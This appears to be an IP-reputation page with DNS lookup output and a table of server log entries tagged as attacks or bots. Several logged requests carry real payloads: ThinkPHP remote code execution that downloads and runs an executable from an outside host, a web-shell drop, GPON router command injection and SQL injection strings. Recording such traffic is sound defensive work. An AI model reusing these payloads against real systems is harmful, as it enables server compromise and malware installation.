城市(city): unknown
省份(region): unknown
国家(country): France
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 90.85.233.28
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 22193
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;90.85.233.28. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025010602 1800 900 604800 86400
;; Query time: 35 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jan 07 12:22:05 CST 2025
;; MSG SIZE rcvd: 105Host 28.233.85.90.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 28.233.85.90.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 118.25.49.95 | attack | 118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%2
0(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start%20C:/Windows/temp/lodhbrsdjsbwixa27329.exe HTTP/1.
1" 404 232 "http://118.25.52.138:80/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Ne
t.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start C:/Windows/temp/lodhbrsdjsbwixa27329.exe" "Mozilla/4.0 (compatible; MSIE 9
.0; Windows NT 6.1)"
118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 301 194 "http://118.25.52.138:80/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars
[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 404 232 "http://118.25.52.138:80/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars
[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-10 07:14:51 |
| 101.235.171.58 | attack | 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 301 194 "-" "Hello, World" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "mp/gpon80;sh+/tmp/gpon80+gpon80'&ipv=0" 400 182 "-" "-" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 301 194 "-" "Hello, World" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "mp/gpon80;sh+/tmp/gpon80+gpon80'&ipv=0" 400 182 "-" "-" |
2019-04-07 12:07:50 |
| 118.25.49.95 | attack | 118.25.49.95 - - [02/Apr/2019:20:00:02 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start%20C:/Windows/temp/lodhbrsdjsbwixa27329.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start C:/Windows/temp/lodhbrsdjsbwixa27329.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.49.95 - - [02/Apr/2019:20:00:02 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.49.95 - - [02/Apr/2019:20:00:02 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start%20C:/Windows/temp/lodhbrsdjsbwixa27329.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start C:/Windows/temp/lodhbrsdjsbwixa27329.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-02 20:03:22 |
| 101.227.151.57 | attack | 101.227.151.57 - - [06/Apr/2019:18:57:27 +0800] "GET /pk1914.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.227.151.57 - - [06/Apr/2019:18:57:27 +0800] "GET /pk1914.php HTTP/1.1" 404 209 "http://118.25.52.138/pk1914.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-06 19:00:44 |
| 103.26.136.6 | attack | 103.26.136.6 - - [09/Apr/2019:22:16:02 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 103.26.136.6 - - [09/Apr/2019:22:16:02 +0800] "GET HTTP/1.1" 400 182 "-" "-" 103.26.136.6 - - [09/Apr/2019:22:16:02 +0800] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 103.26.136.6 - - [09/Apr/2019:22:16:02 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 103.26.136.6 - - [09/Apr/2019:22:16:02 +0800] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 103.26.136.6 - - [09/Apr/2019:22:16:03 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 103.26.136.6 - - [09/Apr/2019:22:16:04 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" |
2019-04-09 22:24:14 |
| 14.17.3.64 | attack | 14.17.3.64 - - [10/Apr/2019:19:11:05 +0800] "GET //robots1.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobi le/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET //robots1.php HTTP/1.1" 308 257 "http://ipinfo.asytech.cn//robots1.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebK it/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET / HTTP/1.1" 301 194 "https://ipinfo.asytech.cn//robots1.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [10/Apr/2019:19:11:06 +0800] "GET / HTTP/1.1" 200 3275 "http://ipinfo.asytech.cn/" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, lik e Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-10 19:52:51 |
| 95.213.177.124 | attack | 95.213.177.124 - - [09/Apr/2019:16:00:58 +0800] "POST http://check.proxyradar.com/azenv.php?auth=155479685745&a=PSCN&i=1981363338&p=80 HTTP/1.1" 301 194 "http://best-proxies.ru/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" |
2019-04-09 16:01:29 |
| 113.200.201.130 | attack | 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /up.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /fb.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" |
2019-04-08 12:08:33 |
| 23.100.232.233 | bots | 应该是微软爬虫，不是真实流量 23.100.232.233 - - [02/Apr/2019:12:54:13 +0800] "GET /index.php/2018/12/05/didi_2018_12_05_cn/ HTTP/1.1" 200 13104 "http://www.bing.com/search?q=https%3A%2F%2Fz.didi.cn%2FroB7WDCz5iTXn&form=MSNH14&sc=8-4&sp=-1&qs=n&sk=" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0)" 23.100.232.233 - - [02/Apr/2019:12:54:14 +0800] "GET /wp-content/themes/twentyfifteen/js/html5.js HTTP/1.1" 200 1695 "https://www.eznewstoday.com/index.php/2018/12/05/didi_2018_12_05_cn/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0)" |
2019-04-02 13:02:17 |
| 71.6.167.142 | bots | 71.6.167.142 - - [08/Apr/2019:20:08:35 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 71.6.167.142 - - [08/Apr/2019:20:08:35 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "-" 71.6.167.142 - - [08/Apr/2019:20:08:36 +0800] "GET /sitemap.xml HTTP/1.1" 301 194 "-" "-" 71.6.167.142 - - [08/Apr/2019:20:08:36 +0800] "GET /.well-known/security.txt HTTP/1.1" 301 194 "-" "-" |
2019-04-08 20:17:40 |
| 111.206.198.14 | bots | 百度渲染爬虫，主要爬取图片以及css、js等 111.206.198.14 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/uploads/2018/12/SIF-1.png HTTP/1.1" 200 47291 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.221.7 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.png HTTP/1.1" 200 4258 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.198.70 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.svg HTTP/1.1" 200 7427 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-08 05:09:52 |
| 186.82.70.55 | attack | sql注入攻击 186.82.70.55 - - [10/Apr/2019:06:30:16 +0800] "GET /check-ip/14.34.148.34/%27%20or%20(1,2)=(select*from(select%20name_const(CHAR(107,110,113,83,79,106,98,102,109,100,116,99),1),name_const (CHAR(107,110,113,83,79,106,98,102,109,100,116,99),1))a)%20--%20%27x%27=%27x HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" 186.82.70.55 - - [10/Apr/2019:06:30:19 +0800] "GET /iplist/2%20or%20(1,2)=(select*from(select%20name_const(CHAR(85,104,114,106,112,73,65,102,81,80,111),1),name_const(CHAR(85,104,114,106,1 12,73,65,102,81,80,111),1))a)%20--%20and%201%3D1 HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" 186.82.70.55 - - [10/Apr/2019:06:30:19 +0800] "GET /%20or%20(1,2)=(select*from(select%20name_const(CHAR(85,111,78,69,104,81,99,85,73),1),name_const(CHAR(85,111,78,69,104,81,99,85,73),1))a )%20--%20and%201%3D1 HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" |
2019-04-10 07:14:16 |
| 118.190.84.33 | attack | 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" |
2019-04-04 13:26:43 |
| 42.236.78.10 | bots | 42.236.78.10 - - [02/Apr/2019:23:35:03 +0800] "GET /evox/about HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 42.236.78.10 - - [02/Apr/2019:23:35:13 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; Wappalyzer)" 42.236.78.10 - - [02/Apr/2019:23:35:13 +0800] "GET / HTTP/1.1" 200 10261 "http://118.25.52.138/" "Mozilla/5.0 (compatible; Wappalyzer)" 42.236.78.10 - - [02/Apr/2019:23:35:15 +0800] "GET /static/bootstrap/js/popper.min.js HTTP/1.1" 200 19188 "-" "Mozilla/5.0 (compatible; Wappalyzer)" 42.236.78.10 - - [02/Apr/2019:23:35:15 +0800] "GET /static/bootstrap/js/jquery-3.2.1.slim.min.js HTTP/1.1" 200 69597 "-" "Mozilla/5.0 (compatible; Wappalyzer)" 42.236.78.10 - - [02/Apr/2019:23:35:15 +0800] "GET /static/bootstrap/js/bootstrap.min.js HTTP/1.1" 200 48944 "-" "Mozilla/5.0 (compatible; Wappalyzer)" |
2019-04-03 06:21:01 |
| 193.112.0.62 | attack | 193.112.0.62 - - [02/Apr/2019:22:58:24 +0800] "GET /rockmongo/ HTTP/1.1" 404 209 "http://118.25.52.138:80/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36" 193.112.0.62 - - [02/Apr/2019:22:58:24 +0800] "GET /server-status HTTP/1.1" 301 194 "http://118.25.52.138:80/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36" 193.112.0.62 - - [02/Apr/2019:22:58:24 +0800] "GET /server-status HTTP/1.1" 404 209 "http://118.25.52.138:80/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36" 193.112.0.62 - - [02/Apr/2019:22:58:24 +0800] "GET /ueditor.all.js HTTP/1.1" 301 194 "http://118.25.52.138:80/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36" 193.112.0.62 - - [02/Apr/2019:22:58:24 +0800] "GET /ueditor.all.js HTTP/1.1" 404 209 "http://118.25.52.138:80/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36" |
2019-04-03 06:21:28 |